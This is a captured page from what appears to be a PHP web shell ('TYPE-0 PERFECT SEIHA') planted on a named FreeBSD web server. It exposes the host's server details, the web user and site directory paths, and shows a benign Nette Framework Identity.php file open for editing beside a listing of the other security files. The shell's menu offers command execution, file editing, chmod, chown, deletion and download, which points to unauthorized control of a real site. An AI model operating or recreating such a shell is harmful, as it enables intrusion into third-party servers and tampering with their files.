TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
nette
security
src
Security
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/nette/security/src/Security/Identity.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Security; use Nette; /** * Default implementation of IIdentity. * * @property mixed $id * @property array $roles * @property-read array $data */ class Identity extends Nette\Object implements IIdentity { /** @var mixed */ private $id; /** @var array */ private $roles; /** @var array */ private $data; /** * @param mixed identity ID * @param mixed roles * @param array user data */ public function __construct($id, $roles = NULL, $data = NULL) { $this->setId($id); $this->setRoles((array) $roles); $this->data = $data instanceof \Traversable ? iterator_to_array($data) : (array) $data; } /** * Sets the ID of user. * @param mixed * @return self */ public function setId($id) { $this->id = is_numeric($id) && !is_float($tmp = $id * 1) ? $tmp : $id; return $this; } /** * Returns the ID of user. * @return mixed */ public function getId() { return $this->id; } /** * Sets a list of roles that the user is a member of. * @param array * @return self */ public function setRoles(array $roles) { $this->roles = $roles; return $this; } /** * Returns a list of roles that the user is a member of. * @return array */ public function getRoles() { return $this->roles; } /** * Returns a user data. * @return array */ public function getData() { return $this->data; } /** * Sets user data value. * @param string property name * @param mixed property value * @return void */ public function __set($key, $value) { if (parent::__isset($key)) { parent::__set($key, $value); } else { $this->data[$key] = $value; } } /** * Returns user data value. * @param string property name * @return mixed */ public function &__get($key) { if (parent::__isset($key)) { return parent::__get($key); } else { return $this->data[$key]; } } /** * Is property defined? * @param string property name * @return bool */ public function __isset($key) { return isset($this->data[$key]) || parent::__isset($key); } /** * Removes property. * @param string property name * @return void * @throws Nette\MemberAccessException */ public function __unset($name) { Nette\Utils\ObjectMixin::remove($this, $name); } }
Crotin
Name
Size
Permissions
Modified
User/Group
IIdentity.php
422
0644
2016-03-05 11:26:44
Unknown/Unknown
AuthenticationException.php
255
0644
2016-03-05 11:26:44
Unknown/Unknown
IAuthorizator.php
641
0644
2016-03-05 11:26:44
Unknown/Unknown
IAuthenticator.php
651
0644
2016-03-05 11:26:44
Unknown/Unknown
Identity.php
2452
0644
2016-03-05 11:26:44
Unknown/Unknown
Passwords.php
1958
0644
2016-03-05 11:26:44
Unknown/Unknown
User.php
5810
0644
2016-03-05 11:26:44
Unknown/Unknown
SimpleAuthenticator.php
1401
0644
2016-03-05 11:26:44
Unknown/Unknown
IRole.php
363
0644
2016-03-05 11:26:44
Unknown/Unknown
IResource.php
369
0644
2016-03-05 11:26:44
Unknown/Unknown
IUserStorage.php
1248
0644
2016-03-05 11:26:43
Unknown/Unknown
Permission.php
20297
0644
2016-03-05 11:26:44
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin